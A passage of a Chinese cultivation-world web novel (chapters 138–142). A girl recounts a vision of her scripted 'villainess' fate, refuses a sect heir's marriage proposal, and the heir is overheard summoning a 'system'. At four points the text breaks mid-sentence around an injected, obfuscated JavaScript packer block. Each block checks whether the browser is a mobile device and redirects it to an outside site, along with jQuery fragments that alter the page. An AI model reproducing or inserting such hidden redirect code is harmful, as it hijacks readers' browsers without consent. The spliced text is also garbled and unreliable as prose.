宁时点点头,刚要出声,内室中却陡然传出一声巨大的声响! 像是一件重物,从高处砸到了地上。 江晏和宁时二人俱是打了一个激灵,齐齐竖起耳朵,仔细听着里面的动静。 果然,后面隐约传来了宁希的声音,似乎是在自言自语。 声音时高时低,听不太真切,但依旧能听到零星几句。 江晏不知宁时能听到多少,他只知道自己听到了诸如“千机阁”“婚配”“少主”之类的字样。 但若是仅仅如此,倒也还算好的——这至少说明宁希陷入了感情纠纷当中。 在修真界,最算不上什么的就是感情纠纷了。 毕竟,若是能得大道,又有谁还会在意这些虚无缥缈、瞬息万变的东西呢? 江晏正在暗自庆幸,宁希也许只是为了她的道侣候选人而生气,却猝不及防听到了后面几段。 宁希还说了: “什么见鬼的世界意志……凭什么我就不能是主角?” “你以为你很厉害吗?” “我就算是变成头喷泉兽都做不出来这等傻事!” ……喷泉兽是这个修真界的特产,江晏知道,这种肉质鲜美的灵兽以憨笨,或者说是智商低下著称。 而他之所以能听的这么清晰,是因为宁希确实是气急了,以至于说这几句话时音量都提高了很多。 宁希慷慨激昂的陈词,伴随着跌宕起伏的语调,一股脑地透过内室的墙壁,硬往江晏耳朵里钻。 江晏感到自己开始变得僵硬,并且他也同样确信身边的宁时也听清了内容——因此此刻的宁时和他自己一样僵硬。 ……这样下去可不是办法。 江晏小声叹了口气,推推宁时:“这是怎么回事,我们需要假装什么都没听见吗?” 宁时转过头来,表情凝固:“……不,我打算直接进去了。” 江晏:“哈?” 他本来想说,你不打算敲门给小姑娘一点缓冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14967300|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间吗? 但宁时出手如电,一个箭步上前,顶开了宁希的房门! 江晏也不知道他在无法使用灵力的情况下,是怎样做到身形这么快的。 ——但这不重要,重要的是,他和宁时站在一边,已经和内室中的宁希,面面相对了。 内室的环境比他们想象中要平整,地面上只碎了一盏砚台,溅出了几滴半干的墨汁。 而再往上看,就是层层叠叠的纸,四散开来,把桌子完全遮挡住了。 这些纸上面,有的已经写满了内容,有的虽然是空白的,但因为主人使用时剧烈的动作,已经变得皱皱巴巴,翘起了边。 宁希就站在这一堆纸墨后面,双手撑着书柜,用力喘着气。 她望着门口的江晏和宁时,眼中是还未褪去的火光。 江晏:…… 宁时干咳一声,开口问:“是谁欺负你了。” 宁希听了,身形摇晃一下,慢慢松开了手直起身子,但却依旧抿着嘴,一言不发。 宁时又道:“悬水宫名门大派,谁欺负你了,我们打他。” 他一连重复了两次“欺负”这个词,宁希神色微微变了,她最终慢慢吐出一句:“没有人惹我生气。” 声音沙哑,一字一顿的。 江晏从这句话的语气中,抓住了什么。 他虽然不算是宁希的亲人,但宁希的情况关系着分魂,江晏也不再犹豫,道:“或许……你想说的东西,并不算人?” 此话一出,宁希下意识地后退半步,脸上青一阵白一阵,却是未置一词。 而一直盯着她的宁时见了妹妹的这副模样,哪里还有不明白的。 于是他震惊转头,看着江晏:“居然猜错了,我一开始还以为是千机阁那位赵公子的事。” 他的话被宁希打断了:“和他没什么关系!” 宁时便道:“好好好,不过说回来,不是人又是怎么一回事?” 说到这里,宁希却闭了嘴,头往旁边一扭,看着窗外。 今天的天气还算晴朗,有金色的阳光透过窗棂照进来,连地板都是金灿灿一片。 但宁希却站在阴影里,看不清神色。 内室中静默片刻,宁希最终先败下阵来。 她又正过脸来,望着宁时二人,轻声问: “你们相信有天命这种东西吗?” 宁时不说话,江晏怀疑他自从热症一事后,其实是有点信的。 但江晏又想到了刚刚在外面听到宁希说过的那几句。 什么世界意志啊,等等。 ……他有点怀疑,宁希知道了关于这个世界的什么东西。 再结合上刚穿过来时,啾啾和他谈论过的世界背景,江晏只觉得,情况不太妙。 而此刻,宁希依旧是盯着他们,似乎在期待着他们能说出来和她心意相符的内容。 ——她想听到我们说什么呢?江晏想。 你们相信有天命吗? ——如果真有天命的话,他想,我此刻也许早就魂飞魄散了。 根本轮不到和分魂在多少个世界里的生生死死,生生世世。 于是这一辈子成为了小狐狸的剑修抬起头,轻声说: “天命?什么东西,不信。” 139. 剧本 宁希似乎等的就是他这句话。 她双眼中的火苗更加热烈了,她说:“是吧,我也是不信的。” 说完,仍然是继续看着两人,似乎想得到什么言语支持。 于是宁时终于也说话了:“所以,你是做了一个关于天命的梦吗?” “也许可以和我们讲一讲。” 宁希摇了摇头,然后又点点头:“不算是梦,但有点类似。” “这件事……不太好说。” 她直直看着两人:“我可先说好了哈,这里面的东西还不知道真假呢,不许觉得我笨。” 宁时拉过来一把椅子,推向她,自己带着江晏也在宁希身边坐下:“嗯,不会的。” 宁希坐了下来,又把挂在腰侧的摇光剑重重放在桌上,有一下没一下的拨弄着剑穗,开口: “我前几天不是和赵玉升出去玩了嘛。” “其实我感觉他人还挺不错的,路上和我讲了许多有意思的事。” 江晏和宁时对视一眼,都认为赵玉升人怎么样待观察,但目前看,宁希此刻的状态好像和他确实没什么干系。 宁希还在继续讲着:“我们一路游历,返程途中遇到的一处小秘境。” “你们听了秘境两个字,会不会觉得我是中了里面的幻术?”她的语调提高了,“但是,我们根本没来得及进去!” “我们当时已经到了秘境边上,却突然飘过来一团灰雾,所经之处寸草不生。” “就连那发着异光的秘境,也被完全抹去了。” “我和赵玉升很快就意识到,我们遇到了那种东西,转头就跑。” “但在这时,不知道是不是因为受到了秘境坍塌余波的干扰,我突然感觉头晕目眩。” “我走不了路了,只能坐在原地,他在我旁边筑起一面灵力罩。” “据说是我在里面短暂睡了过去,玉升说可能有半柱香的时间,但在我的记忆中,却有过了数年那么长。” 宁时支起一只手:“这么说来,你是在里面做梦了吗?” 宁希拽紧了手中的剑穗:“……但我觉得不是我做的梦,更像是在台下看了一场戏。” “或者是把别人用留影石保留下来的人生,放给我看。” 她又缓缓松开了手:“很奇怪,里面的主角,是我自己。” 江晏坐直了身子——他没有忘记啾啾从前说过的话,在这个世界中,有许许多多手拿剧本的修士。 非常不幸,宁希就是其中一员。 她拿的是什么来着?江晏在意识海中,拍了拍啾啾。 啾啾:“是拿着退婚剧本和男二男主纠缠不休的女三。” 即使不是第一次听到这句话了,但江晏依旧大为震撼。 而在他对面,宁希已经开始详细描述这段故事了。 她说: “在这个梦里,我依旧是悬水宫宫主的女儿。” “也依然是和现在差不多的年龄。” “但是不同的是,另一个我,已经和千机阁的少主订了婚。” 宁时看了她一眼:“其实吧,我感觉你们俩现在这么发展下去,也许也能成。” 宁希叹气:“我不是要说这个——反正在那个梦之后,我和他……结婚了。” 江晏见宁时瞳孔略微放大了,显然,这段莫名其妙的故事确实挺有冲击力的。 宁希甩了甩脑袋,道:“用这种角度讲故事好奇怪,算了,反正都是假的,我继续。” “我后面就搬到千机阁,顺嘴说一下,我不懂这个逻辑,凭什么我要过去而不是他过来。” “啊,总之后面是我们感情还行,直到有一天,我发现他卧室里有道暗格,里面挂了一名陌生女子的画像。” 江晏听到宁时手上的骨骼“嘠哒”响了一声。 宁希崩溃道:“那名姑娘我在现实世界里也根本不认识,不过话说回来,人家长得也好漂亮。” “而在那段故事里,我看到了画像,自然是生气的,便和赵玉升闹。” “什么结果也没有,他单方面拒绝了沟通,拂袖而去离开了千机阁。” 宁希面容扭曲了一下:“故事里的我肯定有毛病,居然不是扭头回家,而是直接追着他走了!” “还不敢让他发现,只是在后面偷偷摸摸跟着。” “然后发现他到了揽屏镇,约了画像中的女孩子吃饭。” 听到这里,江晏只觉得这地名有点耳熟,望了眼宁时。 宁时道:“揽屏镇,就在平海宗山下。” 他摸了摸下巴:“那位姑娘可能是平海宗的人……这可有点麻烦了,不知道人家是哪位真人座下的。” 宁希崩溃地喊了声:“哥!重点不是这个!” 宁时摊手:“只是为了防止你钻牛角尖才开个玩笑,你继续。” 宁希瞪了他一眼,又讲道:“结果他和人家吃饭,人家没有单独过来。” “带着一位小姐妹,一个师兄,一个师弟。” “然后请他吃了顿饭。” 江晏:…… 他忍不住笑出声了。 宁希激动拍桌:“如此也就罢了,可在梦里,我就是个傻的!” “我见这样,认为是对方落了他的面子,便怒气冲冲地现身,对着那姑娘一顿质问。” “然后赵玉升心疼了,开始说我,我就更生气了,也拉着他一起骂。” 她双手捂脸:“然后对面那位师兄见我们吵吵闹闹,开始劝架。” “这个故事不对劲,我一听他的声音,突然就心动了。” “但我不方便单方面解开和赵玉升的道侣契,只能看着他那一张脸干着急。” “……然后我开始对着师兄可怜巴巴地哭,还柔柔弱弱地用语言暗指他师妹和外人勾搭,”宁希终于忍不住了,再次拍桌,连带着桌面上的摇光剑都震得一颤,“这都是什么乱七八糟的!真见鬼!” 宁时听到这里,也终究是忍不住了,他鼻尖都笑红了:“照你这么形容,那一个叫宁希的人,身体里没准还真住着一只喷泉兽呢。” 宁希尖叫:“不许侮辱喷泉兽!它们可好吃了!” 江晏:“哈哈哈哈,我也喜欢吃。” 乘曦苑里这么热热闹闹地折腾了片刻,宁希继续讲着这个离大谱的故事: “再后来,我知道了这位平海宗的师兄,叫谢乘风。” “我居然为了他,去参加平海宗的大选了!” 宁时:…… 宁希摊手:“我用脚趾头都想不出来这么奇葩的走向……但故事里就是这样的,还成了。” “并且还居然和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971956|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那位姑娘拜在同一位真人座下。” 她双手按了按额角,语速飞快:“然后就是话本里常见的勾心斗角,你害我我害你。” “我另一边还去退婚了,但还吊着赵玉升……我跟他讲,我是有苦衷的。” 她语速又变快了:“最后的结局当然是恶有恶报在一次出任务时被意外戳穿了真相然后死于魔物手中大快人心啦。” 她一口气说完这些,喘了喘,又看着内室中另外两人,微微扬起下巴:“你们感觉如何呢?” 宁时被她叽里咕噜轰炸了这么一遭,眼神发直:“……反正以我的想象力,编不出来这么离谱的东西。” 宁希疯狂点头:“我也是的呢,但这个故事结尾最后还说,这就是我的人生,是我的天命。” 江晏接话:“人是无法想象出来超出自己意识的东西。” 这对兄妹闻言,齐刷刷扭头看向他。 江晏“呃”了一声,继续说:“所以嘛,结合刚刚所说的天命,我感觉这些故事,也许是发生在另外一个世界中的。” 宁希挑眉:“给我看了这些如同屎一般的故事,祂不会愧疚吗?” 江晏:“不是,重点是这所谓的天命故事,会不会发生在这个世界你自己身上。” 宁希说:“当然不会啦,我又不会这么傻。” 江晏又问:“那如果一股不知名的力量,把你推向这个故事呢?” 宁希斩钉截铁,意志坚定:“绝对不可能,实在不行,我就硬扛。” 宁时道:“孩子气,你对违抗天命根本没有一个清晰的认知。” 宁希眨眨眼睛,望着他。 宁时:“降下的雷劫足够把你劈没多少遍都不带拐弯的——不过嘛,悬水宫这么多人,大家会护着你的。” 于是宁希眼睛又亮了。 她双手托腮,望着窗外的晴光朗朗:“这个故事,实在是太可怕了。” “我好像完全没有自己的意识,没有自己的爱好。” “我所有的意义,仿佛就是在证明别人多么有魅力,以及别人的爱情有多么美好。” “我的剑,我的修为,像一片宣纸一样,没有任何重量。” 她又垂下头,看着桌上的摇光剑。 江晏正欲出声安慰,却只见她突然一把抓起剑,蹦蹦跳跳出了门:“亲哥,狐狸哥,我去练剑了哈——在绝对的实力面前一切花里胡哨都没用!” 她的亲哥和狐狸哥:…… 宁时江晏两人面面相觑,最后都放松了身体,靠在椅子中。 宁时:“……真不让人省心。” 江晏劝他:“但我看妹妹心里挺明白的,她自己应该能处理好。” 宁时叹气:“可我感觉还是不算安心,我得把她提到的这些隐患,都尽量抹去才是。” 江晏便答:“那可就多了,至少赵玉升,最近不要再接触了。” 宁时点头:“是了,至于平海宗那位师兄,距离不近,两人应该也见不着。” 江晏点头。 宁时安静了片刻,又道: “人啊,总是有各种各样的心愿。” “我从前单单只以为把自己的病治好了,也就算了。” “却没有想到,宁希这里出了状况。” “她可要好好的啊。” 140. 千机阁提亲 此时此刻,江晏在来到这个世界之初时的猜测,终于得到了验证: 分魂的心愿,果然是会产生变化的。 完全是意料之中,江晏想,事情变得比开始麻烦一点了,但也尚在可控范围之内。 他心思动了动,正欲问啾啾该如何对宁希的事情下手时,门外却传来了一阵喧哗声。 这其实是挺少见的,尤其是在悬水宫这种规模比较大的宗门中。 江晏和宁时齐齐站起来,向着院子中走去了。 他们才踏出房门,便看到在院里练剑的宁希也是停下了动作,拎着剑看着门口,一脸迷茫。 见她两个哥哥过来了,开口问道:“这是怎么回事,我听见好多人离我这边很近了。” 宁时:“也许是有什么事情吧。” 说罢,几人上前,打开了本来就虚掩着的大门。 于是门外的景象便豁然开朗了: 那是悬水宫的七八名女弟子,此刻都簇拥在宁白珠身边,一路上叽叽喳喳地过来了。 宁希:? 她一时有些摸不到头脑,更何况,母亲和这些同门脸上,都挂着根本掩饰不住的笑意。 她便小跑上前,亲亲热热地拉住了宁白珠的手:“母亲,可有什么喜事吗?大家都这么高兴。” 宁白珠点点她的额头:“嗯,是有好事情。” 她凑到宁希耳边,小声道:“你之前不是和娘亲说过,喜欢那个千机阁的少主,赵玉升嘛。” “他应该也是很喜欢你的。” 她笑着离开宁希耳边,提高了音量:“他家今天啊,是专门过来到悬水宫定亲的呢。” 修习之人中气十足,于是宁白珠这一番话,宁希、宁时和江晏听得清清楚楚。 想到刚刚在内室中说过的话,三人都是诡异地沉默了。 但现在的气氛实在是太喜庆了,于是他们的沉默,也被理所应当地认为是因过于喜悦而反应不过来。 宁白珠拍了下宁希,道:“还傻呆呆的愣在那里做什么?” “赶紧随我过来,”她指了指后面那几位女弟子,“我还专门找了些女孩子陪你梳妆呢,你们快一点。” “等打扮好了,我们一起去前厅,商量一下这些事吧。” 宁希:…… 她被拉着,还来不及说什么,宁白珠已经转过身,步履匆匆地朝着前厅的方向去了——毕竟她作为悬水宫的主人,不可离席太久。 于是,刚刚还热热闹闹的乘曦苑一下子安静下来。 只余江晏和宁时两人留在原地,面面相觑。 片刻后,宁时干巴巴道:“彤云,你感觉以希希的性格……会答应赵玉升吗?” 江晏:“我感觉不会,并且我猜你也觉得不会。” 宁时点头:“尤其是在她说了刚才那些东西之后,就更是不可能的了。” 他望着宁时离开的方向,轻声道:“但母亲根本还没来得及听到希希的拒绝。” 江晏扶额:“那她要是拒绝的话,只能是差人给宫主说了……但现在千机阁的人毕竟已经到了,再怎么委婉,他们总会是知道结果的。” 宁时叹了口气,摆摆手:“算了,我们先赶到前厅吧。” “看看能不能提醒一下母亲,又或者是防止发生意外。” 江晏点头,二人便穿花拂柳,来到了前厅。 二人是徒步走过去的,因此在时间上,正好和刚刚梳洗过一番的宁希赶在了一起。 三人又前厅门口相遇了。 这么乍一看,江晏差点被宁希此刻的装扮闪到了眼——他本来就和宁希接触不多,这是第一次见她如此打扮。 只见她一身红枫色的衣裙,外面是一层同色系的薄纱,那面料看起来并不一般,即使是在屋檐下没有日光处,依旧是流光溢彩。 和她头顶戴的凤凰发簪,腰间的摇光剑都极为相宜。 宁希脸上还化了个妆,愈发显得她唇红齿白,发如泼墨。 江晏想,在这么短的时间内完成这些改造,估计是那几位女弟子合力下的手笔。 而宁希本人似乎不太习惯这样的打扮,她低着头,小心翼翼地走着,防止踩到衣裙的下摆。 同时左手还扶着鬓边的簪子,以免它在动作间掉下来。 江晏和宁时看着,只觉得她耐心在这身繁琐的装扮中快要耗尽了——二人都能听到宁希略显粗重的呼吸声。 宁时想了想,还是开口道:“这身打扮也不错,是你平时不一样的风格,要是不喜欢,和母亲说一声,换掉算了。” 宁希对他翻了个白眼:“算了,我坚持一下。” “这种场合,尽量少节外生枝。” 宁时就笑了:“你居然还懂这个词……说起来,”他看向前厅内,意有所指,“那位公子,你到底打算怎么做?” 宁希摊手:“还能怎么样,当然是拒绝了。” “我都知道那奇怪的故事了,要是还答应他,简直是脑子有病。” 宁时又道:“也许故事是假的呢?谁也说不准。” 宁希却快速打断了他:“哥!就算没有这个故事,我也不会和他在一起的!” 宁时看着她,眼底是说不明的情绪,他慢吞吞“哦”了一声,又看着她抬腿走进了前厅。 他和江晏便也跟在宁希身后,踏入了这大殿。 江晏琢磨了一下这对兄妹刚才的对话,悄悄在宁时耳边道:“你刚刚是故意的吧。” 宁时抬起眼皮,撩了他一眼。 江晏却看得清楚,那眼神中全都是揶揄,他便感觉有些好笑:“你就是故意反着说,在套小姑娘的话。” “反正希妹妹说了,不会和那赵公子有什么的——你总该放心了吧。” “不过,”江晏不等对方回答,又道,“我感觉,小姑娘还瞒着我们一些东西。” “她只说过这个奇葩的故事,却根本没有提和赵公子相处的细节。” “此时突然说不和他一起了,这两人中间,毕竟是发生了什么事。” 宁时听了他这么一大段,也笑了:“是啊,就看这件事要不要被捅出来了。” 江晏:“……其实我有点想看戏。” 宁时:“咳,老实一点,我们已经要走到千机阁前面了。” 说话间,二人已经跟在宁希后面,来到了前厅中央。 悬水宫的人,与千机阁的人,分别在两边坐着。 宁时拉着江晏落座。 江晏的座位并不算在中间,因此他可以快乐摸鱼,暂时并不用过多理会双方的谈话。 他一边听着,一面打量着两方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978386|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来人。 悬水宫这边不必多说,自然是宁白珠和林成坐在中间,然后依次是宁希、宁时,以及他自己。 至于对面的千机阁,则是主要来了三人,看样子是千机阁主人赵云松和他的夫人,以及那位赵玉升公子。 修真之人很少有相貌不佳的,千机阁这三位也是各有风姿。 江晏多看了两眼赵玉升,只见他身量修长,面容俊逸,身后还背着一张琴。 看起来倒像是个音修。 而在千机阁三人身后,还站着几位侍从,有的手捧纸笔,有的则是捧着一个红木匣子,不知道里面装着什么东西。 江晏大概看了一眼后,便收回了目光,专心听双方交谈。 此时,悬水宫已经和对面寒暄完毕,对话逐渐进入了正题。 只见赵夫人再次开了口,亲亲热热:“令女风姿潇洒,我家这孩子,见之难忘啊。” 赵玉升适时地对悬水宫众人露出一个略显羞涩的微笑。 宁希:…… 她报以礼貌的微笑。 两边的夫人又聊起了天,主要是赵夫人在说,在讲述自己家孩子是多么真心诚意地追求宁希,希望他们能定下婚事。 江晏看着,只觉得宁希对此事意思不大。 但毕竟事发突然,如果当面直接拒绝的话,双方面子上都不是很好看。 只见她一只手伸到背后似乎是掐了个什么手势,然后在原地呆呆地愣了几息后,长舒出一口气来。 而在她身侧正在和千机阁聊的正起兴的宁白珠,动作突然间停顿了一下。 江晏此时看明白了,估计宁希是用了隔空传音,将自己的意愿告知了宁白珠。 而这场对话已经进行到了关键时刻。 在悬水宫面前,赵玉松终于是说出了那句话: “既然二人两情相悦,不知悬水宫可否愿意将令女宁希,同犬子赵玉升定下终身大事?” 由于刚才宁希传音一事,宁白珠也不敢擅自做主了,只是又看了一眼她,道:“此时毕竟关系希希,问问孩子的意见吧。” 赵云松见她如此回答,便也看向了赵玉升,示意他做出回应。 沉香木制的椅子在地板上拖出了轻微的声响,是赵玉升站了起来。 他完全直立时,身量居然比江晏预估中的还要高一些。 只见他长身玉立,满脸真诚道:“希妹妹,我是真的心悦你的。” “我以后一定会对你很好的。” “你要相信我,我真的好喜欢你啊。” 宁希:…… 她也站起来,头上的发簪一闪一闪的。 宁希眨了几下下眼睛,终于干巴巴地说道:“啊,谢谢你喜欢我。” 赵玉升眼睛亮了。 宁希继续说下去:“不过,这事情有点突然了。” 她看了眼对面千机阁的人:“我们才见了两面,我以为我们还是朋友呢。” 她的话外之音已经很明显了,赵玉升的脸色微微变了。 宁希最终做出了自己的回应:“此事重大,我现在还不能给出答复。” “请容许我几日后做出决定。” 众所周知,很多事情拖一拖就凉了。 一时间,千机阁三人原本还是笑着模样的嘴角,全都僵硬了。 141. 拒绝 还是赵夫人最先反应过来,她急忙拉了一把赵玉升: “哎呀,那你跟着我们回家去。” “在家等妹妹的答复就好。” 赵玉升身形却纹丝不动,他站在原地,直勾勾地盯着宁希:“这其中是不是有什么误会?” 宁希似乎没有料到他态度这么坚决,愣了一下:“没有误会啊。” 赵玉升得了他这句话,却好像得到了什么证明,道:“那为何还要考虑。” 宁希:…… 从江晏的角度,能看到她下颌绷紧了,应该是咬着牙在忍耐。 宁希道:“我刚才都说了,只是因为这事情太突然了,我需要时间考虑。” 赵玉升想要的显然不是这个,他张张嘴巴,正欲反驳。 却被打断了未说出口的话。 宁白珠和赵云松异口同声道:“停!你们两个不要在这里再说了!” 二人齐刷刷回头,望向各自的父母。 而宁白珠则是对赵云松比了个手势,示意他先说。 这千机阁的主人便道:“依我看来,也许我们做长辈的在场,孩子们有些话不方便说。” “不如我们就留在原地,喝喝茶,说说话。” “而至于孩子们,就让他们随便找个地方,比如小花园等地,来好好商量一下他们自己的事情。” 这番话确实说的有道理,宁白珠点点头,允下了此事。 宁希便率先跨过一大步,越过赵玉升,朝着大门的方向出去了。 赵玉升也回过神来,紧紧跟着她,后脚出了门。 这下子,坐在前厅里的年前人,就只剩下宁时和江晏了。 江晏一时拿不定主意,便看着宁时。 宁时:…… 他想了想,也起身道:“那请千机阁和父母在此处议事,我和友人也先行一步了。” 宁白珠摆摆手,示意他们要走赶紧走。 于是宁时带着江晏,也踏出了大门。 天光重新洒在他们身上。 江晏举目远眺,只见前方隐隐约约有两个人影。 一高一低,低的那个人,似乎穿了身红色的衣服,很是扎眼。 想来这就是比他们先出门的宁希和赵玉升了——江晏想,今天宁希这身不日常的衣服终归是有好处的,比如此时此刻他就能据此立刻分辨出对方的方向。 显然,他身边的宁时也看到了。 他目光凝在两个人影上,轻声道:“怎么还真去小花园了。” “是山茶园。” 说罢,拉着江晏,放轻了步子朝二人的方向走去。 江晏见他走得小心翼翼,便问:“这位公子,所以我们是要去偷偷听他们讲话吗?” 宁时理直气壮:“那当然了。” 江晏指了指他脚下:“时哥,你又不是猫,走路再怎么小心,也是会有声音的。” 宁时:…… 他神色动了动,很快反应过来是怎么一回事: 他的小狐狸分明是想提醒自己,宁希和赵玉升二人都可以正常使用灵力,五感敏锐,即使是他这样放轻了脚步,也是会被察觉到的。 但小狐狸想到他的热症,便换了一个说法。 宁时想通了此间关节,心里动了动。 他情不自禁的伸出一只手,抬起摸了摸对方的头顶——小狐狸作为人时,头发依旧是顺滑而富有光泽的,手感丝毫不逊色于真正的狐狸。 而他身边的江晏,则是任由对方摸着,面色平静——是了,这些年里,宁时可没有少摸他头。 他无比感谢修真界没有脱发和掉毛的困扰。 此时,抚摸着他头顶的宁时终于是心满意足地停了手,他道:“彤云,那你给我们加个消音的法术吧。” 江晏:“行。” 就等着你这句话呢。 他手指动了动,一层金红色的妖力晕开,又很快消散在空气中。 宁时见了,在原地跺了跺脚,果然是一点声音都没有了。 他便拉着江晏,左拐右拐,到了山茶园中。 此时正值暮春,已经过了山茶的花期。园子中便都是郁郁葱葱的叶子,颜色甚至有些深得发黑了。 而在这些山茶枝干根部附近的泥土中,还能零星看到一些掉落的花朵。 整朵整朵的掉,白的粉的,看起来还算完好的花瓣上,已经沾上了潮湿结块的泥土。 宁时见了,轻轻“啧”了声,对江晏道:“来的时间不巧,花都谢了。” 江晏:“没事,明年可以再看的。” 想了想,又道:“我们也许可以一起看别的花,或者是把其他的花也种到这院子里一些。” 宁时:…… 他的伤春悲秋就这样被强行塞回了肚子里。 不过换个角度,宁时想,相当于小狐狸说以后要陪着自己。 也算不错。 他这边情意缠绵,而宁希那边,气氛却已经有了剑拔弩张的势头。 在一道装饰性的隔墙后,赵玉升的声音传来,语气有些急促:“希希,我们之前不是好好的吗,你今天为何要说出这些话呢?” 宁希几乎是立刻反驳:“我们哪里好好的?你有问过我的意思吗?” 赵玉升有些无措了:“可是,我们两个出去就是玩的很高兴啊。” 接着是宁希深吸了一口气的声音,她说:“你真的是……你就不能多问一嘴我的意思吗?” 赵玉升似乎更迷茫了:“……这还用问吗?我感觉你已经表现的挺明显了。” 他这句话说完,墙后沉默良久。 宁时江晏二人对视一眼,俱是怀疑宁希已经被这个自以为是的棒槌快气疯了。 他们交换了个眼神,同时慢慢向隔墙上的窗户靠近,试图透过这扇窗架看到此时的场面。 先在他们视线中出现的是宁希,她靠着墙,脸色一言难尽。 而赵玉升就站在她的正对面,神色中带着几分急切。 他在原地思考了一会儿,突然道:“希希,是不是我哪里做的让你不开心了?” 宁希侧过头去,不置一词。 赵玉升却好像得了启发,他挪了挪步子,站到了宁希面前:“你就告诉我嘛,告诉我了我一定会改的。” 宁希硬生生止住了再次别开脸的动作:“没有,只是不太合适,你做的都挺好的。” 赵玉升眉毛耷拉着:“但是你都不愿意理我了。” 宁希又长长深吸了一口气。 赵玉升只是看着她,眼神委屈极了。 宁希:“……” 她想了想,道:“你还记得我们回程路上发生了什么吗?” 赵玉升道:“你晕了一会儿……该不是被什么东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14983090|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西影响,不喜欢我了吧。” 宁希捂了把眼睛:“不是说这个啊。” 赵玉升伸了伸手,看起来是像拉住她,但最后还是垂在了身侧。 宁希翻了个白眼,看着他:“那天你用传讯灵石时,根本没有背着我。” “我可是看到,你和另一个女孩子说我们出去玩的事了。” “人家祝贺你,你倒是还不高兴上了。” “赵玉升,我真的搞不懂你在想什么。” 这段话的信息量有点大,江晏看了眼宁时,只感觉他拳头硬了。 ……但现在又不可能真的揍赵玉升一顿,江晏又默默扭头,看着隔墙后二人。 赵玉升听了这段话,一开始是茫然,后面却恍然大悟。 他大大方方道:“哦,那是我的一个朋友。” “之前追过我,我给她送了好多东西呢。” “说起来,她条件挺不错的,就是在修习上出了点岔子……” 宁希:? 她震惊了:“不是,这些东西是可以说的吗?” “你就这样直接告诉我了我都不敢听——” 说罢,就要抬手堵住耳朵。 赵玉升眼疾手快,一把按下她的一只手,继续道:“我没有不高兴,肯定是你看错了!” “我们现在没有联系的!” 宁希用另一只手捂住耳朵,继续崩溃:“不是你和我说这些干嘛!” “是要显示你有多大的魅力,然后屈尊降贵选了我吗?” 赵玉升似乎不明所以:“我没有不尊重你的意思啊,我只是想说,你比她更适合作为我的道侣。” 宁希:…… 她明白了,这人就是一个披着公子皮的彻头彻尾的自私自大鬼。 她怒气腾腾,连一句话都不愿意多讲了,立即催动灵力离去。 ——事实证明,她没有单纯用腿跑是正确的。 赵玉升望着她的背影,本来也御气追了一截,然后发现……追不上。 于是他又落回地面,继续在山茶园这面隔墙后一个人碎碎念。 这些变故发生得太过突然,江晏和宁时甚至还没来得及挪地方,赵玉升兜了个圈子,就又回来了。 由于刚刚听了那么一大段震撼的话,此时江晏宁时二人甚至生出了当面警告对方不要再靠近宁希的想法。 江晏刚迈出一步,就被宁时拽了回来。 宁时对着他疑惑的眼神,指指墙后,又点了点自己耳朵,做了一个倾听的动作。 江晏明白了,这是宁时要先听赵玉升自言自语了些什么。 由于刚刚遭受了重大打击,再加上自认为山茶园里没有人,赵玉升此时的碎碎念,真情实感极了。 他说: “完了,一个两个的,都被拒绝了。” “悬水宫和平海宗这两条路,都走不通了。” “小宫主不应该是个傻白甜吗,为什么还是这么难搞?” “还有那位,明明是认识了多年,结果也没有攻略下来。” …… “攻略”一词,这个世界的宁时大约是不懂的,但经历过小世界的江晏知道是怎么回事。 他无意识地皱眉,看着这位赵公子。 只见赵玉升突然长叹一口气,对着空气道: “系统,你出来救救我啊——” 142. 小狐狸最好了 赵玉升话音落地,只见空气中似乎晕开了一团无形的水波。 连带着四周景物的影像都发生了轻微的形变。 江晏见了,来不及和身边已是目瞪口呆的宁时解释,而先去了意识海中,呼叫啾啾: “你看到了吗!他说的那种东西,和你是一种吗?” 一只小鸟凭空浮现,仰着脖子叫了几声:“不要拿我和那种东西相提并论——我可是上古神器。” 这句话说得一点都不谦虚,但江晏却安心了,他“哦”了一声。 